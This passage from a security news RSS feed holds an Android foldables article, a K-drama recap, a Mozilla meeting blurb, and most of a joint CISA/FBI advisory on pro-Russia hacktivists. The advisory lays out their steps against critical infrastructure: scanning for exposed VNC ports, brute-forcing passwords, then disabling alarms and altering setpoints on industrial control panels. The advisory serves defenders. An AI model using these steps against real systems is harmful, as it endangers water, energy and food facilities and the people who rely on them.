  </div></div><div class="separator"><br></div><div class="separator"><div class="separator"><ul><li><b>Leverage the latest Jetpack Compose Update: </b>Start by adopting the stable <a href="https://android-developers.googleblog.com/2026/04/jetpack-compose-april-2026-updates.html" target="_blank">Jetpack Compose April '26 release</a> (<a href="https://developer.android.com/develop/ui/compose/bom" target="_blank">Compose BOM</a> version <code>2026.04.01</code>).Take advantage of the new structural layout tools to manage complex architectures. The new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid" target="_blank">Grid</a> API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox" target="_blank">FlexBox</a> layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/mediaquery" target="_blank">MediaQuery</a> API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. </li><li><b>Make your app fold aware: </b>Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is<a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/make-your-app-fold-aware" target="_blank"> fold aware</a>, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.</li><li><b>Maintain app continuity:</b> Avoid breaking the user journey when the device configuration shifts. Retain your UI state using <a href="https://developer.android.com/topic/libraries/architecture/viewmodel?hl=en" target="_blank">ViewModel</a> to ensure smooth transitions when a user folds or unfolds their device.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/s1920/7.22_MorphToTablet_Gif.gif"><img border="0" data-original-height="1080" data-original-width="1920" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/w640-h360/7.22_MorphToTablet_Gif.gif" width="640"></a></div><div><h2>Ensure seamless camera capture on foldable devices</h2><div>Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.</div><div> </div><div>When optimizing your app's media pipeline, migrate your capture experiences to <a href="https://developer.android.com/media/camera/camerax" target="_blank">CameraX</a> using the CameraX migration <a href="https://github.com/android/skills/blob/main/camera/camerax/SKILL.md">skill</a>. The library’s <a href="https://developer.android.com/reference/kotlin/androidx/camera/view/PreviewView" target="_blank">PreviewView</a> automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables#solution_2_cameraviewfinder" target="_blank">CameraViewfinder</a> library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.</div></div><h2>Extend glanceable interactions to Wear OS 7</h2><div>The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using <a href="https://developer.android.com/jetpack/androidx/releases/glance-wear" target="_blank">Jetpack Glance</a> and <a href="https://developer.android.com/jetpack/androidx/releases/compose-remote" target="_blank">RemoteCompose</a>. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. </div><div><br></div>
    
 <div class="separator">
  </div><div class="separator"><h2>Build intelligent features </h2><div class="separator"><a href="https://blog.google/products-and-platforms/platforms/android/gemini-intelligence/" target="_blank">Gemini intelligence </a>already completes tasks on users’ behalf, and you can <a href="https://developer.android.com/ai/appfunctions?_gl=1*1jms098*_up*MQ..*_ga*MjY0OTY0MDI3LjE3ODQzMzI1NDk.*_ga_6HH9YJMN9M*czE3ODQzMzI1NDkkbzEkZzAkdDE3ODQzMzI1NDkkajYwJGwwJGgxNjE0MTMzNjEz" target="_blank">experiment</a> with the intelligence system by sharing your apps capabilities. </div><div class="separator"><br></div><div class="separator">Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and <a href="https://developers.google.com/ml-kit/release-notes#july_14_2026" target="_blank">much more</a>. Use <a href="https://developers.google.com/ml-kit/genai/prompt/android" target="_blank">ML Kit’s Prompt API</a> with advanced features like s<a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output" target="_blank">tructured output</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/thinking-mode" target="_blank">thinking mode</a> to build intelligent features on-device. </div><div class="separator"><h2>Start optimizing today</h2><div class="separator">The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for <a href="https://developer.android.com/develop/adaptive-apps" target="_blank">building adaptive apps </a>to learn more about core adaptive design principles. </div><div class="separator"><br></div><div class="separator">To dive deeper, check out our comprehensive <a href="https://www.youtube.com/playlist?list=PLD2U7gd1-ieo" target="_blank">YouTube playlist</a>. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">trifolds and landscape foldables</a> and <a href="https://developer.android.com/design/ui/wear/guides/get-started?hl=en" target="_blank">WearOS</a>. </div><div class="separator"><br></div><div class="separator">Unfold the future today! </div></div></div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Agent Kim Reactivated’ Episode 9 Recap: Kim and His Team Fight Their Way Out]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 9 pushes Kim and his allies into another dangerous escape mission after his carefully prepared operation falls apart. With Min-ji’s safety still uncertain, Kim joins forces with Han-su, Jin-cheol, and Sang-a while Kang-chan prepares another cruel surprise.




Releas...]]></description>
<link>https://tsecurity.de/de/3693443/ios-mac-os/agent-kim-reactivated-episode-9-recap-kim-and-his-team-fight-their-way-out/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693443/ios-mac-os/agent-kim-reactivated-episode-9-recap-kim-and-his-team-fight-their-way-out/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 9 pushes Kim and his allies into another dangerous escape mission after his carefully prepared operation falls apart. With Min-ji’s safety still uncertain, Kim joins forces with Han-su, Jin-cheol, and Sang-a while Kang-chan prepares another cruel surprise.




Release date: July 24, 2026



Streaming platform: Netflix



Total episodes: 10



Finale release date: July 25, 2026




The Korean drama follows an ordinary office worker who reveals his past as a highly trained black-ops agent after his daughter disappears. The series stars So Ji-sub as Manager Kim, alongside Choi Dae-hoon, Yoon Kyung-ho, Joo Sang-wook, Son Na-eun, and Seo Su-min.



Spoilers ahead for Agent Kim Reactivated Episode 9



Episode 9 begins with Kim’s latest operation failing to go according to plan. After being captured and tortured in the previous episode, Kim remains trapped between the National Special Missions Bureau, enemies from his past, and Kang-chan’s personal revenge campaign.



Kim refuses to surrender because reaching Min-ji remains his only priority. He once again relies on the skills he spent years hiding, although the episode makes it clear that he cannot complete this mission alone.



Han-su and Jin-cheol return to help their old friend, bringing their familiar mix of action and humour into the tense situation. Sang-a also becomes an important part of the escape plan. Together, the four characters attempt to break free before Kang-chan can carry out the next stage of his revenge.



Kang-chan reveals another plan



The biggest problem is that Kang-chan has already expected Kim to fight back. He keeps another secret weapon ready, forcing Kim and the other fathers to change their strategy while they are already under pressure.



Kang-chan’s actions continue the conflict that began with the bullying involving Min-ji and Hye-ri. What started as a dispute between their daughters has grown into a violent battle shaped by pride, power, and revenge.



The episode also brings the three fathers closer together. Han-su and Jin-cheol understand that Kim will risk his life for Min-ji, so they choose to remain beside him even when the chances of escaping become smaller.



Where is the story heading?



Episode 9 serves as the final setup before the conclusion. Kim has survived capture, reunited with Min-ji, and faced people connected to his hidden life, but Kang-chan still controls the final threat.



The remaining conflict now depends on whether Kim can protect his daughter without losing the friends who followed him into danger. The extended finale airs on July 25 at 9:45 p.m. KST, five minutes earlier than the show’s usual broadcast time.



What did you think about Kim, Han-su, Jin-cheol, and Sang-a’s escape mission in Agent Kim Reactivated Episode 9? Let us know what you expect from the finale in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Design System Governance Committee: 24 February 2026]]></title>
<description><![CDATA[Author: Mozilla Thunderbird - Bewertung: 6x - Views:160 In the February meeting, the Bolt Design System Committee aligns on initial setup and ownership for the Bolt Design System repo, began defining cross-platform icon naming conventions, plus works towards component exposure in the documentatio...]]></description>
<link>https://tsecurity.de/de/3693436/video/design-system-governance-committee-24-february-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693436/video/design-system-governance-committee-24-february-2026/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:10 +0200</pubDate>
<category>🎥 Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Mozilla Thunderbird - Bewertung: 6x - Views:160 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/1L2HisD3PeQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>In the February meeting, the Bolt Design System Committee aligns on initial setup and ownership for the Bolt Design System repo, began defining cross-platform icon naming conventions, plus works towards component exposure in the documentation site.<br />
<br />
Have any questions or want to join the conversation? Come find us in our Matrix room (https://matrix.to/#/#bolt-design-system:mozilla.org). New to Matrix? Find a Quick Start guide here: https://matrixdocs.github.io/docs/getting-started/quick-start<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
